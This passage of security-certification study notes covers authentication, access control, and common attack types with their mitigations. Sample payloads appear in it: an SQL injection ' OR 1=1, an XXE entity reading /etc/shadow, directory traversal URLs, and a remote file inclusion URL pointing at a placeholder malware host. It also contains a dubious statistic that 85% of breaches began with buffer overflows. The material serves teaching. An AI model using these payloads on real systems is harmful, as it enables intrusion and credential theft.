      - Combines uppercase and lowercase letters, numbers, and special characters

- Complexity makes passwords resistant to brute force attacks
- The more character choices, the more secure the password

■ Password Reuse

- Avoid using the same password for multiple accounts
- Reusing passwords increases vulnerability

■ Password Expiration

- Requires users to change passwords after a specific period
- Overemphasis on expiration can lead to poor password choices

■ Password Age

- Password age refers to the time a password has been in use
- Older passwords have a higher risk of being compromised

○ *Password Managers*

■ Tools for storing and managing passwords securely

■ Features

- Password generation
  - Password managers create unique strong passwords for accounts to prevent reuse and enhance security
- Auto-fill
  - Password managers autofill login details, sparing users the need to recall or input information manually
- Secure sharing
  - Password managers provide secure methods to share passwords without directly disclosing the password itself
- Cross-platform access
  - Password managers offer cross-device compatibility, allowing access to passwords from any location or device

        - Promote password complexity, prevent reuse, and offer easy access to strong, unique passwords
    - Passwordless Authentication Methods
        - Provide a higher level of security and better user experience
        - Methods
            - *Biometric Authentication*
                - Uses unique biological characteristics
            - *Hardware Token*
                - Generate ever-changing login codes
            - *One-Time Passwords (OTP)*
                - Sent to email or phone for one-time use
            - *Magic Links*
                - One-time links sent via email for automatic login
            - *Passkeys*
                - Rely on device screen lock for authentication

- **Password Attacks**
    - *Password Attacks*
        - Methods used by attackers to crack or recover passwords
        - Types of password attacks
            - Brute Force
            - Dictionary
            - Password Spraying
            - Hybrid
    - *Brute Force Attack*
        - Tries every possible character combination until the correct password is found

- Effective for simple passwords but time-consuming for complex ones
- Mitigation
  - Increasing password complexity and length
  - Limiting login attempts
  - Using multi factor authentication
  - Employing CAPTCHAS

- *Dictionary Attack*
  - Uses a list of commonly used passwords (a dictionary) to crack passwords
  - May include variations with numbers and symbols
  - Effective against common, easy-to-guess passwords
  - Mitigation
    - Increase password complexity and length, limit login attempts, use multifactor authentication, and employ CAPTCHAS
- *Password Spraying*
  - A form of brute force attack that tries a few common passwords against many usernames or accounts
  - Effective because it avoids account lockouts and targets weak passwords
  - Mitigation
    - Use unique passwords and implement multi-factor authentication
- *Hybrid Attack*
  - Combines elements of brute force and dictionary attacks
  - May include variations, such as adding numbers or special characters to passwords
  - Can use a static dictionary or dynamically create variations
  - Effective for discovering passwords following specific patterns

- **Single Sign-On (SSO)**
  - *Single Sign-On (SSO)*
    - Authentication process allowing users to access multiple applications with one set of credentials
    - Simplifies the user experience and enhances productivity
    - Trusted relationship between applications and Identity Providers (IdP)
  - How SSO Works
    - User logs into the primary identity provider (IdP)
    - Accesses a secondary application or website configured for SSO
    - The secondary application verifies the user's identity with the IdP's assertion
    - Once authenticated, access to the secondary application is granted
  - Benefits of SSO
    - Improved user experience
    - Increased productivity
    - Reduced IT support costs
    - Enhanced security, encouraging stronger passwords
  - Protocols for SSO
    - *LDAP (Lightweight Directory Access Protocol)*
      - Used to access and maintain distributed directory information
      - Can share user information across network resources
      - Supports central repository for authentication and authorization
      - Can be secured using LDAPS (LDAP over SSL or StartTLS)
      - LDAP stores user data for authorization, like group memberships and roles
    - *OAuth (Open Authorization)*
      - Open standard for token-based authentication and authorization

- Allows third-party services to access user account information without exposing passwords
- Often used in RESTful APIs for secure sharing of user profile data
  - The client app or service registers with the authorization server, provides a redirect URL and gets an ID and secret
- Uses JSON Web Tokens (JWT) for data transfer

■ *SAML (Security Assertion Markup Language)*

- Standard for logging users into applications based on sessions in another context
- Redirects users to an identity provider for authentication
- Eliminates the need for services to authenticate users directly
- Decouples services from identity providers, enhancing security and flexibility

- **Federation**
  - *Federation*
    - Links electronic identities and attributes across multiple identity management systems
    - Enables users to use the same credentials for login across systems managed by different organizations
    - Based on trust relationships between systems
    - Federation extends beyond an organization's boundaries
      - Partners
      - Suppliers
      - Customers
    - Simplifies user access to various services

- Ensures security through trust relationships between networks

- Federation Process
  - Login Initiation
    - User accesses a service or application and chooses to log in
  - Redirection to Identity Provider
    - Service Provider (SP) redirects the user to their Identity Provider (IdP) for authentication
  - Authentication of the user
    - IdP validates the user's identity using stored credentials
    - Validates the user's identity
  - Generation of Assertion
    - IdP creates an assertion (token) with user identity and authentication status in a standardized format
  - Return to Service Provider
    - User returns to the original service or application with the assertion from the IdP
  - Verification and Access
    - Service Provider verifies the assertion and grants access based on the information it contains
  - Login Complete
    - User gains access to the service or application and potentially others within the federation without additional logins
- Benefits
  - Simplified user experience
  - Reduced administrative overhead
  - Increased security through reduced password reuse and improved management

- **Privileged Access Management (PAM)**
  - *Privileged Access Management (PAM)*
    - Solution that restricts and monitors privileged access within an IT environment
    - The policies, procedures, and technical controls that are used to prevent malicious abuse of privileged accounts
    - Crucial for preventing data breaches and ensuring the least privileged access is granted for specific tasks or roles
  - Components of Privileged Access Management
    - *Just-In-Time Permissions (JIT Permissions)*
      - Security model that grants administrative access only when needed for a specific task
      - Reduces the risk of unauthorized access or misuse of privileges
      - Access rights are given when the task begins and revoked once the task is completed
    - *Password Vaulting*
      - Technique that stores and manages passwords securely, often in a digital vault.
      - Requires multi-factor authentication for accessing stored passwords
      - Tracks access to privileged credentials, providing an audit trail
    - *Temporal Accounts*
      - Temporary accounts used for time-limited access to resources
      - Created for specific purposes and automatically disabled or deleted after a predefined period

- **Access Control Models**
    - Different Types of Access Control Models
        - *Mandatory Access Control (MAC)*
            - Uses security labels to authorize resource access
            - Requires assigning security labels to both users and resources
            - Access is granted only if the user's label is equal to or higher than the resource's label
        - *Discretionary Access Control (DAC)*
            - Resource owners specify which users can access their resources
            - Access control based on user identity, profile, or role
            - Allows resource owners to grant access to specific users
        - *Role-Based Access Control (RBAC)*
            - Assigns users to roles and assigns permissions to roles
            - Roles mimic the organization's hierarchy
            - Enforces minimum privileges
            - Effective for managing permissions based on job roles and turnover
        - *Rule-Based Access Control*
            - Uses security rules or access control lists
            - Policies can be changed quickly and frequently
            - Applied across multiple users on a network segment
        - *Attribute-Based Access Control (ABAC)*
            - Considers various attributes like
                - *User Attributes*
                    - User’s name, role, organization ID, or security clearance
                - *Environment Attributes*
                    - Time of access, data location, and current organization’s

threat level

- *Resource Attributes*
  - File creation date, resource owner, file name, and data sensitivity
- Access decisions are based on the combination of attributes
- Provides fine-grained control and dynamic access decisions

- Access Control Extensions
  - *Time-of-Day Restrictions*
    - Limits access based on specific time periods
    - Often used to complement other access control models
    - Helps prevent unauthorized access during non-working hours
  - *Principle of Least Privilege*
    - Users are granted the minimum access required to perform their job functions
    - Reduces the risk of misuse or accidental damage
    - Regularly review and adjust permissions to prevent authorization creep

- **Assigning Permissions**
  - *Privileges*
    - Define the levels of access that users have
    - Local Administration Account
      - High level of access
      - Allows administrator to
        - change system settings
        - install softwares
        - perform a variety of managerial tasks

- Standard User Accounts
  - Can't change system settings
  - Can store files in their designated area only

- *Principle of Least Privilege*
  - A user should only have the minimum access rights needed to perform their job functions and tasks, and nothing additional or extra
- *Microsoft Account*
  - Free online account that you can use to sign in to a variety of Microsoft services
- *User Account Control (UAC)*
  - A mechanism designed to ensure that actions requiring administrative rights are explicitly authorized by the user
  - Access is limited to what the user needs to do a job
  - Purpose is to minimize the risk of users gaining access to administrative privileges
- Access control and permissions can also apply to groups of users
- File and Folder Permissions
  - Setting permissions at the folder level applies those permissions to all files within that folder
  - In Windows, these file and folder permissions are accessed by
    - Right-click on a file or folder
    - Select 'Properties'
    - Navigate to the 'Security' tab
- Always ensure to only give out the necessary permissions

Vulnerabilities and Attacks

Objectives:

- 2.2: Explain common threat vectors and attack strategies
- 2.3: Explain various types of vulnerabilities
- 2.4: Given a scenario, you must be able to analyze indicators of malicious activity
- 2.5: Explain the purpose of mitigation techniques used to secure the enterprise
- 4.1: Given a scenario, you must be able to apply common security techniques to computing resources

- **Hardware Vulnerabilities**
    - *Hardware Vulnerabilities*
        - Security flaws or weaknesses in a device's physical components or design that can be exploited to compromise system integrity, confidentiality, or availability
    - Types of Hardware Vulnerabilities
        - *Firmware Vulnerabilities*
            - Specialized software stored on hardware devices
            - Can grant attackers full control, leading to unauthorized access or takeover
            - Vulnerabilities due to insecure development, outdated practices, and overlooked updates
        - End-of-Life, Legacy, and Unsupported Systems
            - *End-of-life*
                - No updates or support from the manufacturer

- *Legacy*
  - Outdated and superseded by newer alternatives
- *Unsupported*
  - No official support, security updates, or patches
- Vulnerable due to the lack of patching and updates

■ *Unpatched Systems*

- Devices, applications, or software without the latest security patches
- Exposed to known exploits and attacks
- Risk from oversight, negligence, or challenges in updating

■ *Hardware Misconfigurations*

- Incorrect device settings or options
- May lead to vulnerabilities, performance issues, or unintended behavior
- Caused by oversight, lack of understanding, or deployment errors

○ Mitigation Strategies

■ *Hardening*

- Tighten security by closing unnecessary ports, disabling services, and setting permissions

■ *Patching*

- Regular updates to fix known vulnerabilities in software, firmware, and applications

■ *Configuration Enforcement*

- Ensure devices adhere to secure configurations

■ *Decommissioning*

- Retire end-of-life or legacy systems posing security risks

■ *Isolation*

- Isolate vulnerable systems from the enterprise network

        - *Segmentation*
            - Divide the network into segments to limit the impact of breaches

- **Bluetooth Vulnerabilities and Attacks**
    - *Bluetooth*
        - Wireless technology for short-distance data exchange
        - It's commonly used for connecting devices but presents security challenges
        - Vulnerabilities include
            - *Insecure pairing*
                - Occurs when Bluetooth devices establish a connection without proper authentication
            - *Device spoofing*
                - Occurs when an attacker impersonates a device to trick a user into connecting
            - On-path attacks
                - Exploits Bluetooth protocol vulnerabilities to intercept and alter communications between devices without either party being aware
    - Different Types of Bluetooth Attacks
        - *Bluejacking*
            - Sending unsolicited messages to a Bluetooth device
            - Often used for pranks or testing vulnerabilities
        - *Bluesnarfing*
            - Unauthorized access to a device to steal information like contacts, call logs, and text messages

- *Bluebugging*
  - Allows attackers to take control of a device's Bluetooth functions
  - Can make calls, send messages, or access the internet
- *Bluesmack*
  - Denial-of-service attack by overwhelming a device with data, causing it to crash or become unresponsive
- *BlueBorne*
  - Spreads through the air to infect devices without user interaction

- Best Practices for Secure Bluetooth Usage
  - Turn off Bluetooth when not in use
    - Reduces the attack surface and exposure to threats
  - Set devices to "non-discoverable" mode by default
    - Prevents unsolicited connection attempts
  - Regularly update firmware
    - Ensures security is up-to-date with patches for vulnerabilities
  - Only pair with known and trusted devices
    - Mitigates the risk of connecting to malicious devices
  - Use a unique PIN or passkey during pairing
    - Adds security during the pairing process
  - Be cautious of unsolicited connection requests
    - Avoid accepting requests blindly
  - Use encryption for sensitive data transfers
    - Scrambles data to prevent unauthorized access

- **Mobile Vulnerabilities and Attacks**
    - Different Types of Mobile Vulnerabilities
        - *Sideloading*
            - Installing apps from unofficial sources bypassing the device's default app store
            - Can introduce malware; download apps from official sources with strict review processes
            - Mitigation techniques
                - always download apps from an official and trusted source
        - *Jailbreaking/Rooting*
            - Gives users escalated privileges but exposes devices to potential security breaches
            - Prevents installation of manufacturer updates, leaving devices vulnerable
        - Insecure Connection Methods
            - Using open Wi-Fi networks or pairing with unknown devices over Bluetooth exposes devices to attacks
            - Mitigation techniques
                - Use cellular data for more secure connections
                - Connect only to known devices and set devices to non-discoverable when not pairing
                - Use long, strong, complex passwords
                - Use 802.1x authentication methods
    - Mobile Device Management (MDM)
        - MDM solutions minimize mobile vulnerabilities by
            - Patching
                - Ensuring devices receive necessary security updates

- Configuration Management
    - Enforcing standardized configurations for security
- Best Practice Enforcement
    - Disabling sideloading, detecting jailbreaking/rooting, and enforcing VPN use

- **Zero-day Vulnerabilities**
    - *Zero-day Vulnerabilities*
        - Discovered or exploited before vendors issue patches
    - *Zero-day Exploits*
        - Attacks that target previously unknown vulnerabilities
    - *Zero-day*
        - Refer to the vulnerability, exploit, or malware that exploits the vulnerability
    - Zero-Day Exploits and Value
        - Zero-day exploits are significant in the cybersecurity world and can be lucrative
        - Bug bounty hunters can earn money by discovering zero-day vulnerabilities
        - Zero-days are also sold to government agencies, law enforcement, and criminals
        - Threat actors save zero-days for high-value targets, using generic malware for initial attempts
        - An up-to-date antivirus can detect known vulnerabilities' exploitation
        - Countries and nation states may stockpile zero-days for espionage and strategic operations

- **Operating System Vulnerabilities**
    - Unpatched Systems
        - Lack the latest security updates, making them vulnerable

- Attackers exploit known vulnerabilities in unpatched systems
- To mitigate unpatched system vulnerabilities, ensure regular system updates and patches, either automatically or manually

- Zero-Day Vulnerabilities
  - *Zero-days*
    - Unknown vulnerabilities to developers and attackers
  - Security solutions like host-based intrusion prevention systems (IPS) can help detect and block suspicious activities
  - Frequent system and software updates provide additional defense against potential zero-day exploits
- *Misconfigurations*
  - Occurs when system settings are improperly configured
  - Standardize and automate configuration processes with configuration management tools
  - Conduct periodic audits and reviews to identify and mitigate vulnerabilities due to misconfigurations
- *Data Exfiltration*
  - Involves unauthorized data transfers from an organization to an external location
  - Protect against data exfiltration with encryption for data at rest and endpoint protection tools
  - Endpoint protection tools can monitor and restrict unauthorized data transfers
- *Malicious Updates*
  - Appear as legitimate security updates but contain malware or exploits
  - Source updates from trusted vendors and official channels
  - Maintain application allow lists, verify update authenticity with digital signatures and hashes

- **SQL and XML Injections**
  - *Injection Attack*
    - Involves sending malicious data to a system for unintended consequences
    - SQL injection and XML injection share the goal of inserting code into systems
  - SQL (Structured Query Language) Injection
    - *SQL Data*
      - Used to interact with databases
      - Four main SQL actions
        - Select
          - Used to read data from the database
        - Insert
          - Used to write data into the database
        - Delete
          - Used to remove data from the database
        - Update
          - Overwrite some data in the database
      - Example statement
        - SELECT * FROM USERS WHERE userID = 'Jason' AND password = 'pass123';
    - *SQL Injection*
      - Involves inserting malicious SQL code into input fields
      - Attackers use URL parameters, form fields, cookies, POST data, or HTTP headers for SQL injection
      - Prevention
        - Input validation

- Sanitize user data
- Use a web application firewall

- *SQL Injection Attempt*
  - Involve statements like " ‘ OR 1=1"
  - Example
    - Original SQL statement
      - SELECT * FROM USERS WHERE userID = 'Jason' AND password = 'pass123';
    - Injected SQL statement
      - SELECT * FROM Users WHERE userID = 'Jason' AND password = '' OR 1=1;

- *XML (Extensible Markup Language) Injection*
  - *XML Data*
    - Used for data exchange in web applications
    - Should be sent within an encrypted tunnel, like TLS
    - Input validation and sanitization are crucial for protection
    - Appears as tagged fields
    - Example
      - <?xml version="1.0" encoding="UTF-8"?>

        <question>

        <ID>SECURITY-002-0001</ID>

        <title>Is this an XML vulnerability?</title>

        <choice1>Option 1</choice1>

        <choice2>Option 2</choice2>

        </question>

- XML Exploits
  - *XML Bomb (Billion Laughs Attack)*
    - Consumes memory exponentially, acting like a denial-of-service attack
  - *XXE (XML External Entity) Attack*
    - Attempts to read local resources, like password hashes in the shadow file
    - Example
      - <?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE foo [
        <!ELEMENT foo ANY>
        <!ENTITY xxe SYSTEM "file:///etc/shadow">
        ]>
        <foo>Some data</foo>
- Prevention
  - Implement proper input validation

- **XSS and XSRF**
  - Cross-Site Scripting (XSS)
    - Injects a malicious script into a trusted site to compromise the site's visitors
    - Goal: have visitors run a malicious script so your system will process it, bypassing the normal security mechanisms
    - Mitigate the threat with proper input validation
    - Four steps to an XSS attack
      - The attacker identifies an input validation vulnerability within a trusted website

- The attacker crafts a URL to perform a code injection against the trusted website
- The trusted site will return a page containing the malicious code injected
- The malicious code runs in the client's browser with permission level as the trusted site

- Functions of a XSS Attack
  - Defacing the trusted website
  - Stealing the user's data
  - Intercepting data or communications
- Types of XSS Attacks
  - *Non-Persistent XSS*
    - A XSS attack that only occurs when it is launched and only happens once
    - Server executes the attack (Server-side scripting attack)
  - Persistent XSS
    - Allows an attacker to insert code into a backend database used by that trusted website
    - Server executes the attack (Server-side scripting attack)
  - Document Object Model (DOM) XSS
    - Exploits the client's web browser using client-side scripts to modify the content and layout of the web page
    - Client's device executes the attack (Client-side scripting attack)
    - Can be used to change the DOM environment
    - Runs using the logged in user's privileges on the local system

- *Session Management*
  - Enables web applications to uniquely identify a user across several different

actions and requests

- Fundamental security component in modern web applications
- Cookie Tracking
  - *Cookie*
    - Text file used to store information about a user when they visit a website
    - *Non-persistent cookies*
      - Also known as a session cookie
      - Resides in memory and are used for a very short time period
      - Deleted at the end of the session
    - *Persistent cookies*
      - Stored in the browser cache until either deleted by a user or expire
- *Session Hijacking*
  - Type of spoofing attack where the attacker disconnects a host and then replaces it with his or her own machine by spoofing the original host IP
  - *Session Prediction*
    - Type of spoofing attack where the attacker attempts to predict the session token in order to hijack the session
    - Prevent these attacks by using a non-predictable algorithm to generate session tokens

- *XSRF*
  - Malicious script is used to exploit a session started on another site within the same web browser
  - Can be disguised

        - Can use tags, images, and other HTML code
    - Doesn't need victim to click on a link
    - Prevention
        - Use user-specific tokens in all form submissions
        - Add randomness and prompt for additional information whenever a user tries to reset their password
            - Require two-factor authentication
        - Require users to enter their current password when changing their password

- **Buffer Overflow**
    - *Buffer Overflow Attack*
        - Occurs when a process stores data outside the memory range allocated by the developer
        - Common initial attack vector in data breaches
            - 85% of data breaches used buffer overflow as the initial vector
        - Attackers exploit the excess data written beyond buffer boundaries to manipulate program execution
    - *Buffers*
        - Temporary storage areas used by programs to hold data
        - They have a defined memory capacity, just like a glass holding a limited amount of water
        - Overflowing a buffer results in data spilling into adjacent memory locations, causing unintended consequences

- Technical Aspects
  - *Stack*
    - Programs have a reserved memory area called a stack to store data during processing
  - The stack uses a "first in, last out" organization
  - Stack contains return addresses when a function call instruction is received
  - Attackers aim to overwrite the return address with their malicious code's address
- *Smashing the Stack*
  - Attackers aim to overwrite the return address with a pointer to their malicious code
  - When the non-malicious program hits the modified return address, it runs the attacker's code
  - This gives attackers a command prompt on the victim's system for remote code execution
- *NOP Slide*
  - Attackers fill the buffer with NOP (No-Operation) instructions
  - The return address slides down the NOP instructions until it reaches the attacker's code
- Mitigations against Buffer Overflow Attack
  - *Address Space Layout Randomization (ASLR)*
    - Helps prevent attackers from guessing return pointer addresses
    - Randomizes memory addresses used by well-known programs, making it harder to predict the location of the attacker's code

- **Race Conditions**
  - *Race Conditions*
    - Software vulnerabilities related to the order and timing of events in concurrent processes
    - Exploiting race conditions allows attackers to disrupt intended program behavior and gain unauthorized access
  - Understanding Race Conditions
    - Race conditions occur when multiple threads or processes access and manipulate shared resources simultaneously
    - *Dereferencing*
      - Software vulnerability that occurs when the code attempts to remove the relationship between a pointer and the thing that the pointer was pointing to in the memory which allows changes to be made
    - Vulnerabilities stem from unexpected conflicts and synchronization issues
  - Exploiting Race Conditions
    - Attackers exploit race conditions by timing their actions to coincide with vulnerable code execution
    - Exploitation may lead to unauthorized access, data manipulation, or system crashes
  - *Dirty COW Exploit*
    - A real-world example of race condition exploitation
    - Targeted Linux and Android systems, leveraging race conditions in the Copy On Write function
  - Types of Race Conditions
    - *Time-of-Check (TOC)*
      - Attackers manipulate a resource's state after it is checked but before it is

used

- For example, overdrawing a bank account due to a time delay between checking and transferring funds

- *Time-of-Use (TOU)*
  - Attackers alter a resource's state after it is checked but before it is used
  - Focuses on the time when the resource is utilized, rather than the time of the initial check
- *Time-of-Evaluation (TOE)*
  - Attackers manipulate data or resources during the system's decision-making or evaluation process
  - Can lead to incorrect results or unexpected behavior

- Mitigating Race Conditions
  - Use locks and mutexes to synchronize access to shared resources
    - *Mutex*
      - Mutually exclusive flag that acts as a gatekeeper to a section of code so that only one thread can be processed at a time
      - Mutexes ensure only one thread or process can access a specific section of code at a time
  - Properly design and test locks to prevent deadlocks
  - *Deadlock*
    - Occurs when a lock remains in place because the process it’s waiting for is terminated, crashes, or doesn’t finish properly, despite the processing being complete

Malicious Activity

Objective 2.4: Given a scenario, you must be able to analyze indicators of malicious activity

- **Distributed Denial of Service**
  - *Denial of Service (DoS)*
    - Used to describe an attack that attempts to make a computer or server's resources unavailable
  - *Flood Attacks*
    - *Ping Flood*
      - Overloading a server with ICMP echo requests (pings)
      - Often countered by blocking echo replies
    - *SYN Flood*
      - Initiating multiple TCP sessions but not completing the 3-way handshake
      - Consumes server resources and prevents legitimate connections
      - Countermeasures
        - Flood guard
        - Timeout configurations
        - Intrusion prevention systems
  - *Permanent Denial of Service (PDOS) Attack*
    - Exploits security flaws to break a networking device permanently by re-flashing its firmware
    - Requires a full firmware reload to bring the device back online
  - *Fork Bomb*
    - Attack creates a large number of processes, consuming processing power
    - Not considered a worm, as it doesn't infect programs or use the network

- Self-replicating nature causes a denial of service condition

- *Distributed Denial of Service (DDoS) attack*
  - Malicious attempt to disrupt the normal functioning of a network, service, or website by overwhelming it with a flood of internet traffic
  - Involves multiple machines attacking a single server simultaneously.
  - Attackers often use compromised machines within a botnet
  - Techniques like DNS amplification can amplify the attack's impact
    - *DNS Amplification Attack*
      - Specialized DDoS that allows an attacker to initiate DNS requests from a spoof IP address to flood a website
  - DDoS attacks aim to force the target server offline temporarily
- Surviving and Preventing DoS and DDoS Attacks
  - *Black Hole or Sinkhole*
    - Routes attacking IP traffic to a non-existent server through a null interface
    - Effective but temporary solution
  - *Intrusion Prevention Systems*
    - Can identify and respond to DoS attacks for small-scale incidents
  - *Elastic Cloud Infrastructure*
    - Scaling infrastructure when needed to handle large-scale attacks
    - May result in increased costs from service providers
  - *Specialized Cloud Service Providers*
    - Providers like CloudFlare and Akamai offer DDoS protection services
    - Provide web application filtering, content distribution, and robust network defenses
    - Help organizations withstand DDoS and high-bandwidth attacks

- **Domain Name System (DNS) Attacks**
  - *Domain Name System (DNS)*
    - Fundamental component of the internet that is responsible for translating human-friendly domain names into IP addresses that computers can understand
  - *Some of the Various Types of DNS Attacks*
    - *DNS Cache Poisoning (DNS Spoofing)*
      - Corrupts a DNS resolver's cache with false information
      - Redirects users to malicious websites
      - Mitigation
        - Use DNSSEC (Domain Name System Security Extensions) to add digital signatures to DNS data
        - Implement secure network configurations and firewalls to protect DNS servers
    - *DNS Amplification Attacks*
      - Overwhelms a target system with DNS response traffic by exploiting the DNS resolution process
      - Spoofed DNS queries sent to open DNS servers
      - Mitigation
        - Limit the size of DNS responses
        - Rate limit DNS response traffic to reduce the impact
    - *DNS Tunneling*
      - Encapsulates non-DNS traffic (e.g., HTTP, SSH) over port 53
      - Attempts to bypass firewall rules for command and control or data exfiltration
      - Mitigation
        - Monitor and analyze DNS logs for unusual patterns indicating

tunneling

- *Domain Hijacking (Domain Theft)*
  - Unauthorized change of domain registration
  - May lead to loss of website control and redirection to malicious sites
  - Mitigation
    - Regularly update and secure registration account information
    - Use domain registry lock services to prevent unauthorized changes
- *DNS Zone Transfer Attacks*
  - Attempts to obtain an entire DNS zone data copy
  - Exposes sensitive information about a domain's network infrastructure
  - Could be used for reconnaissance in future attacks

- **Directory Traversal Attack**
  - *Directory Traversal Attack*
    - An injection attack occurs when the attacker inserts malicious code through an application interface
    - Application attack that allows access to commands, files, and directories that may or may not be connected to the web document root directory
      - http://diontraining.com/../../../../etc/shadow
      - Unix systems use . . /
      - Windows systems use . . \ by default but may also accept the Unix-like . . /
    - Directory traversals may be used to access any file on a system with the right permissions

- WARNING
  - Attackers may use encoding to hide directory traversal attempts (%2e%2e%2f represents . . /)
- *File Inclusion*
  - Web application vulnerability that allows an attacker either to download a file from an arbitrary location on the host file system or to upload an executable or script file to open a backdoor
  - *Remote File Inclusion*
    - An attacker executes a script to inject a remote file into the web app or website
      - https://diontraining.com/login.php?
      - user=http://malware.bad/malicious.php
  - *Local File Inclusion*
    - An attacker adds a file to the web app or website that already exists on the hosting server
      - https://diontraining.com/login.php
      - user= ../../Windows/system32/cmd.exe%00
  - Logs containing ../ pertain to directory traversals
- To prevent directory traversals and file inclusion attacks, use proper input validation

- **Execution and Escalation Attacks**
  - *Arbitrary Code Execution*
    - Vulnerability allows an attacker to run their code without restrictions
    - Lets attackers execute their code on the target system
  - *Remote Code Execution*
    - Type of arbitrary code execution that occurs remotely, often over the internet

- *Privilege Escalation*
  - Gaining higher-level permissions than originally assigned
  - Allows attackers to operate with elevated privileges, such as administrator or root access
  - *Vertical Privilege Escalation*
    - Going from normal user to higher privilege (e.g., admin or root)
    - Commonly associated with code execution leading to admin-level permissions
  - *Horizontal Privilege Escalation*
    - Accessing or modifying resources at the same level as the attacker
    - Occurs when a user attempts to access resources for which they don't have permissions at the same level
  - Understanding Privileges
    - Application and process privileges are required for executing functions, reading, and writing data
    - Applications inherit the permissions of the user running them (e.g., system, admin, or user)
    - Understanding and managing privileges is crucial for system security
    - Attackers aim to gain higher privileges to perform malicious actions
- *Rootkits*
  - Class of malware that conceals its presence by modifying system files, often at the kernel level
  - Can be challenging to detect and provides attackers with persistence
  - Ring Levels
    - *Ring Zero*
      - The kernel (center) with the highest privileges

        - Kernel mode rootkits (Ring Zero) are more dangerous due to their extensive control
    - *Rings 1 to 3*
        - User-level components with decreasing privileges as the ring number increases
- *Kernel Mode Rootkit*
    - Embedded in the kernel (Ring Zero)
    - Has maximum control and privileges
    - Highly dangerous due to the extensive system access
- *User Mode Rootkit*
    - Attached to user-level components (Rings 1 to 3)
    - Has administrator-level privileges
    - Utilizes operating system features for persistence, e.g., registry or task scheduler

- **Replay Attacks**
    - *Replay Attacks*
        - Type of network-based attack where valid data transmissions are maliciously or fraudulently re-broadcast, repeated, or delayed
        - Involves intercepting data, analyzing it, and deciding whether to retransmit it later
        - Different from a Session Hijack
            - In a Session Hijack, the attacker alters real-time data transmission
            - In a Replay Attack, the attacker intercepts the data and then can decide later whether to retransmit the data

- Applications of Replay Attacks
  - Not limited to banking; can occur in various network transmissions
    - Email
    - Online shopping
    - Social media
  - Common in wireless authentication attacks, especially with older encryption protocols like WEP (Wired Equivalent Privacy)
- *Credential Replay Attack*
  - Specific type of replay attack that Involves capturing a user's login credentials during a session and reusing them for unauthorized access
- Preventing Replay Attacks
  - Use session tokens to uniquely identify authentication sessions
  - Session tokens are generated for each session, making it challenging for attackers to replay sessions
  - Implement multi-factor authentication to require additional authentication factors, making replay more difficult
  - By using multi-factor authentication, attackers lack the necessary additional information to replay login sessions
  - Implement security protocols like WPA3 (Wi-Fi Protected Access 3) to mitigate replay attack threats

- **Session Hijacking**
  - *Session Management*
    - Fundamental security component in web applications
    - Enables web applications to uniquely identify a user across a number of different actions and requests, while keeping the state of the data generated by the user

and ensuring it is assigned to that user

- *Cookie*
  - Text file used to store information about a user when they visit a website
  - Cookies must be protected because they contain client information that is being transmitted across the Internet
  - *Session cookies*
    - Non-persistent, reside in memory, and are deleted when the browser instance is closed
  - *Persistent Cookies*
    - Cookies that are stored in the browser cache until they are deleted by the user or pass a defined expiration date
    - Cookies should be encrypted if they store confidential information
- *Session Hijacking*
  - A type of spoofing attack where the attacker disconnects a host then replaces it with his or her own machine, spoofing the original host's IP address
  - Session hijacking attacks can occur through the theft or modification of cookies
- *Session Prediction Attacks*
  - A type of spoofing attack where the attacker attempts to predict the session token to hijack a session
  - A session token must be generated using a non-predictable algorithm and it must not reveal any information about the session client
- *Cookie Poisoning*
  - Modifies the contents of a cookie after it has been generated and sent by the web service to the client's browser so that the newly modified cookie can be used to exploit vulnerabilities in the web app

- **On-path Attacks**
  - *On-Path Attack*
    - An attack where the attacker positions their workstation logically between two hosts during communication
    - The attacker transparently captures, monitors, and relays communications between those hosts
  - Methods for On-Path Attacks
    - *ARP Poisoning*
      - Manipulating Address Resolution Protocol (ARP) tables to redirect network traffic
    - *DNS Poisoning*
      - Altering DNS responses to reroute traffic
    - *Rogue Wireless Access Point*
      - Creating a fake wireless access point to intercept traffic
    - *Rogue Hub or Switch*
      - Introducing a malicious hub or switch to capture data on a wired network
  - *Replay Attack*
    - Occurs when an attacker captures valid data and then replays it immediately or with a delay
    - Common in wireless network attacks; can also be used in wired networks
  - *Relay Attack*
    - The attacker becomes part of the conversation between two hosts
    - Serves as a proxy and can read or modify communications between the hosts
    - Any traffic between the client and server goes through the attacker
  - Challenges with Replay and Relay
    - Encryption can make interception and crafting communication difficult

- Strong encryption schemes like TLS 1.3 can pose significant challenges for attackers
- Techniques like SSL stripping may be used to downgrade encryption to an unsecured connection
    - *SSL Stripping*
        - An attack that tricks the encryption application into presenting an HTTP connection instead of HTTPS
        - Enables attackers to capture unencrypted data when the user believes they are using a secure connection

- *Downgrade Attack*
    - An attacker forces a client or server to abandon a higher security mode in favor of a lower security mode
    - Scope of Downgrade Attacks
        - Downgrade attacks can be used with various encryption and protection methods, including Wi-Fi and VPNs
        - Any situation where a client agrees to a lower level of security that is still backward compatible can be vulnerable to a downgrade attack

- **Injection Attacks**
    - *Lightweight Directory Access Protocol (LDAP)*
        - An open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over an Internet Protocol network
    - *LDAP Injection*
        - An application attack that targets web-based applications by fabricating LDAP statements that are typically created by user input

        - Use input validation and input sanitization as protection against an LDAP injection attack
    - *Command Injection*
        - Occurs when a threat actor is able to execute arbitrary shell commands on a host via a vulnerable web application
    - *Process Injection*
        - Method of executing arbitrary code in the address space of a separate live process
        - There are many different ways to inject code into a process
            - Injection through DLLs
            - Thread Execution Hijacking
            - Process Hollowing
            - Process Doppel Ganging
            - Asynchronous Procedure Calls
            - Portable Executable Injections
        - Mitigation includes
            - Endpoint security solutions that are configured to block common sequences of attack behavior
            - Security Kernel Modules
            - Practice of Least Privilege

- **Indicators of Compromise (IoC)**
    - *Indicators of Compromise (IoC)*
        - Pieces of forensic data that identify potentially malicious activity on a network or system
        - Serves as digital evidence that a security breach has occurred

- IoC includes the following
  - Account Lockouts
    - Occurs when an account is locked due to multiple failed login attempts
    - Indicates a potential brute force attack to gain access
    - Balancing security with usability is crucial when implementing account lockout
  - Concurrent Session Usage
    - Refers to multiple active sessions from a single user account
    - Indicates a possible account compromise when the legitimate user is also logged in
  - Blocked Content
    - Involves attempts to access or download content blocked by security protocols
    - Suggests a user trying to access malicious content or an attacker attempting to steal data
  - Impossible Travel
    - Detects logins from geographically distant locations within an unreasonably short timeframe
    - Indicates a likely account compromise as physical travel between these locations is impossible
  - Resource Consumption
    - Unusual spikes in resource utilization
      - CPU
      - Memory
      - Network bandwidth
